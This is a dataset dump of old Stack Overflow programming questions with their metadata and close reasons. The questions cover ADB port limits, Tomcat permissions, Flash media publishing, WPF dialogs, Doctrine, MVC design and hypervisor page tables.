Maimum number of devices connected to an ADB server === According to [Android Debug Bridge][1] : The server then sets up connections to all running emulator/device instances. It locates emulator/device instances by scanning odd-numbered ports in the range 5555 to 5585, the range used by emulators/devices. Where the server finds an adb daemon, it sets up a connection to that port. Note that each emulator/device instance acquires a pair of sequential ports — an even-numbered port for console connections and an odd-numbered port for adb connections. For example: Emulator 1, console: 5554 Emulator 1, adb: 5555 Emulator 2, console: 5556 Emulator 2, adb: 5557 ... The ADB server only checks for devices by scanning odd-numbered ports in the range 5555 to 5585 ( 30 ports in total) and assigns 2 ports for each device. Is ADB capable of accepting more than 15 Android Devices (15x2 ports) or can I connect more devices on the same computer? I think it is impossible to run more than one ADB servers on the same machine. [1]: http://developer.android.com/guide/developing/tools/adb.html
0
3,207,281
07/08/2010 19:38:30
387,093
07/08/2010 19:38:30
1
0
Tomcat 6 in Windows 7
I am having problem with Tomcat 6.0 in Windows 7. I installed it to work with EasyEclipse Server Java and changed it's configuration to Manual. But now when I try to Configure Tomcat, I get " Access is denied Unable to open the service 'Tomcat6' ". Also now when I start and stop Tomcat within EasyEclipse I get the following error: C:\Program Files\Apache Software Foundation\Tomcat 6.0\work\Catalina\localhost\_\SESSIONS.ser (Access is denied) Please help me with this Thanks
windows-7
tomcat6
null
null
null
07/31/2011 22:22:24
off topic
Tomcat 6 in Windows 7 === I am having problem with Tomcat 6.0 in Windows 7. I installed it to work with EasyEclipse Server Java and changed it's configuration to Manual. But now when I try to Configure Tomcat, I get " Access is denied Unable to open the service 'Tomcat6' ". Also now when I start and stop Tomcat within EasyEclipse I get the following error: C:\Program Files\Apache Software Foundation\Tomcat 6.0\work\Catalina\localhost\_\SESSIONS.ser (Access is denied) Please help me with this Thanks
2
11,037,751
06/14/2012 16:47:53
1,171,620
01/26/2012 15:46:15
774
29
How to publish FLV file to media server?
I have FLV file in local directory. Is it possible to publish it to media server with Flash technology? I am trying the following but it causes "One of the parameters is invalid" in `appendBytes()` call. protected function publishButton_clickHandler(event:MouseEvent) : void { sourceFile = new File("D:/Users/myfile.flv"); sourceFile.load(); sourceFile.addEventListener(Event.COMPLETE, sourceFile_CompleteHandler); trace("publishButton_clickHandler: " + event.toString()); nc.addEventListener(NetStatusEvent.NET_STATUS, nc_netStatusHandler); nc.connect("rtmp://localhost/myapp/"); } protected function nc_netStatusHandler(event:NetStatusEvent) : void { trace("nc_netStatusHandler: " + event.toString()); if (event.info.code == "NetConnection.Connect.Success") { stream = new NetStream(nc); stream.addEventListener(NetStatusEvent.NET_STATUS, stream_netStatusHandler); stream.publish("simplestream", "live"); stream.play(null); stream.appendBytes(sourceFile.data); } } First handler is invoke by button press. Button is in Air application.
actionscript-3
flash
flv
flash-media-server
null
null
open
How to publish FLV file to media server? === I have FLV file in local directory. Is it possible to publish it to media server with Flash technology? I am trying the following but it causes "One of the parameters is invalid" in `appendBytes()` call. protected function publishButton_clickHandler(event:MouseEvent) : void { sourceFile = new File("D:/Users/myfile.flv"); sourceFile.load(); sourceFile.addEventListener(Event.COMPLETE, sourceFile_CompleteHandler); trace("publishButton_clickHandler: " + event.toString()); nc.addEventListener(NetStatusEvent.NET_STATUS, nc_netStatusHandler); nc.connect("rtmp://localhost/myapp/"); } protected function nc_netStatusHandler(event:NetStatusEvent) : void { trace("nc_netStatusHandler: " + event.toString()); if (event.info.code == "NetConnection.Connect.Success") { stream = new NetStream(nc); stream.addEventListener(NetStatusEvent.NET_STATUS, stream_netStatusHandler); stream.publish("simplestream", "live"); stream.play(null); stream.appendBytes(sourceFile.data); } } First handler is invoke by button press. Button is in Air application.
0
3,243,895
07/14/2010 06:42:26
260,768
01/28/2010 08:24:09
3
0
Is there a virtual machine for javascript ?
Is there a virtual machine for javascript?
javascript
null
null
null
null
07/14/2010 06:46:59
not a real question
Is there a virtual machine for javascript ? === Is there a virtual machine for javascript?
1
6,104,223
05/23/2011 23:33:37
65,387
02/12/2009 03:01:00
12,334
474
WPF SaveFileDialog DefaultExt ignored?
var dlg = new SaveFileDialog(); dlg.FileName = "graph"; dlg.DefaultExt = ".bmp"; dlg.Filter = "PNG|*.png|DOT|*.dot|Windows Bitmap Format|*.bmp|GIF|*.gif|JPEG|*.jpg|PDF|*.pdf|Scalable Vector Graphics|*.svg|Tag Image File Format|*.tiff"; The extension always defaults to `.png`. It seems the `DefaultExt` is ignored if there is a `Filter`; then it just defaults to the first option in the list. Is there a way to force it to actually respect the default ext?
wpf
controls
savefiledialog
null
null
null
open
WPF SaveFileDialog DefaultExt ignored? === var dlg = new SaveFileDialog(); dlg.FileName = "graph"; dlg.DefaultExt = ".bmp"; dlg.Filter = "PNG|*.png|DOT|*.dot|Windows Bitmap Format|*.bmp|GIF|*.gif|JPEG|*.jpg|PDF|*.pdf|Scalable Vector Graphics|*.svg|Tag Image File Format|*.tiff"; The extension always defaults to `.png`. It seems the `DefaultExt` is ignored if there is a `Filter`; then it just defaults to the first option in the list. Is there a way to force it to actually respect the default ext?
0
7,968,329
11/01/2011 14:55:00
877,581
08/03/2011 22:52:03
1,501
110
Doctrine: how to update an object
I use doctrine 2.1 I have two objects for the same record, one persisted and one not persisted. Instead of rewriting all properties, I would like to assign ID to the new one and call persist() in hope the proper row will be updated. In pseudo code it can look like this: $a = new A(name: "a", value: "new") $old_a = new A(name: "a", value: "old") $em->persist($old_a); $em->flush() now I have in the database a row with name "a" and value "old". I would like to have value "new". I could do $old_a->setValue($a->getValue()) but if there are 10 properties i am not so eager to do it this way.
php
doctrine2
null
null
null
null
open
Doctrine: how to update an object === I use doctrine 2.1 I have two objects for the same record, one persisted and one not persisted. Instead of rewriting all properties, I would like to assign ID to the new one and call persist() in hope the proper row will be updated. In pseudo code it can look like this: $a = new A(name: "a", value: "new") $old_a = new A(name: "a", value: "old") $em->persist($old_a); $em->flush() now I have in the database a row with name "a" and value "old". I would like to have value "new". I could do $old_a->setValue($a->getValue()) but if there are 10 properties i am not so eager to do it this way.
0
1,287,757
08/17/2009 12:42:39
73,332
03/03/2009 18:01:10
85
14
FormatString question
Is there a built in FormatString or a way to use a custom FormatString to take: $150.00 $1,170.00 $12,170.00 $90.00 $38.00 $750.00 And format them like: <pre> $ 150.00 $ 1,170.00 $ 12,170.00 $ 90.00 $ 38.00 $ 750.00 </pre> without knowing the largest value? This is in a gridview boundcolumn I am currently in the codebehind on rowdatabound looping through the existing rows to get the largest and changing the current one if necessary or changing the existing ones if the current one is the largest, so I have a workaround but was hoping for a clean solution.
stringformat
gridview
asp.net
null
null
null
open
FormatString question === Is there a built in FormatString or a way to use a custom FormatString to take: $150.00 $1,170.00 $12,170.00 $90.00 $38.00 $750.00 And format them like: <pre> $ 150.00 $ 1,170.00 $ 12,170.00 $ 90.00 $ 38.00 $ 750.00 </pre> without knowing the largest value? This is in a gridview boundcolumn I am currently in the codebehind on rowdatabound looping through the existing rows to get the largest and changing the current one if necessary or changing the existing ones if the current one is the largest, so I have a workaround but was hoping for a clean solution.
0
10,475,732
05/07/2012 01:34:30
483,876
10/22/2010 06:30:57
317
1
Are salted passwords obsolete?
I heard that nobody uses Rainbow tables these days, instead they use GPUs, so you should rely on computationally expensive hash function. Is it true?
security
null
null
null
null
05/07/2012 22:57:28
off topic
Are salted passwords obsolete? === I heard that nobody uses Rainbow tables these days, instead they use GPUs, so you should rely on computationally expensive hash function. Is it true?
2
3,342,567
07/27/2010 10:12:43
403,251
07/27/2010 10:12:43
1
0
what is jquery CSS frame work and how to use the frame work for giving look and feel to the website?
what is jquery CSS frame work and how to use the frame work for giving look and feel to the website? and how to give skins? Give me how to implement jqueyUI css class and id to maintain consistent look and feel to the entire site? any demos ?
jquery
css
jquery-ui
themes
null
07/28/2010 14:43:37
not a real question
what is jquery CSS frame work and how to use the frame work for giving look and feel to the website? === what is jquery CSS frame work and how to use the frame work for giving look and feel to the website? and how to give skins? Give me how to implement jqueyUI css class and id to maintain consistent look and feel to the entire site? any demos ?
1
6,797,669
07/23/2011 01:27:54
756,456
05/16/2011 22:28:06
69
0
MVC Controller Design Better Practices
What are the suggest practices to design the controllers, controller methods and views? I know this is a generic question but is there some sort of suggestions in place? For instance, I found maybe it makes sense to have one HomeController which does the job of the page switching (often initiated by sidebar/menu) and every method of the home controller changes the view template(cschml file in case of mvc3) to the proper page view. Then every of these view pages take things from there and route action to their related controllers to modify their dynamic content. I totally made this up and I could be very off but I was wondering if there are some sort of proven/practical best practices for mvc project architecture design?
mvc
null
null
null
null
07/23/2011 22:41:27
not a real question
MVC Controller Design Better Practices === What are the suggest practices to design the controllers, controller methods and views? I know this is a generic question but is there some sort of suggestions in place? For instance, I found maybe it makes sense to have one HomeController which does the job of the page switching (often initiated by sidebar/menu) and every method of the home controller changes the view template(cschml file in case of mvc3) to the proper page view. Then every of these view pages take things from there and route action to their related controllers to modify their dynamic content. I totally made this up and I could be very off but I was wondering if there are some sort of proven/practical best practices for mvc project architecture design?
1
11,280,022
07/01/2012 06:28:37
1,493,925
07/01/2012 06:16:46
1
0
updating and retrieving in disconnected architecture
Assuming that I am running a DOTNET project which uses SQLServer database as backend and iam having some 10 users entering and updating data regularly at the same time. I am populating a Dataset to read and write to the database. If one user retrieves all the information from the database into dataset and gets disconnected, And the other user who makes changes to the same table. How this kind of situation is handled?
c#-4.0
null
null
null
null
07/02/2012 14:05:08
not a real question
updating and retrieving in disconnected architecture === Assuming that I am running a DOTNET project which uses SQLServer database as backend and iam having some 10 users entering and updating data regularly at the same time. I am populating a Dataset to read and write to the database. If one user retrieves all the information from the database into dataset and gets disconnected, And the other user who makes changes to the same table. How this kind of situation is handled?
1
4,251,648
11/23/2010 00:31:12
511,134
11/17/2010 17:53:27
1
0
Hardware virtualization - Hypervisor query
How will a hypervisor reflect a change whenever there occurs a change in the guest page table of the guest OS. How is the correspondence maintained between guest page mapping and shadow page mapping? One way is write protecting the memory addresses. Whenever there will be write into a guest page table, there will be a appropriate handler that will ensure the corresponding change into the shadow page table. Can I have some more inputs in this area? Thanks!
table
page
virtualization
shadow
hypervisor
null
open
Hardware virtualization - Hypervisor query === How will a hypervisor reflect a change whenever there occurs a change in the guest page table of the guest OS. How is the correspondence maintained between guest page mapping and shadow page mapping? One way is write protecting the memory addresses. Whenever there will be write into a guest page table, there will be a appropriate handler that will ensure the corresponding change into the shadow page table. Can I have some more inputs in this area? Thanks!
0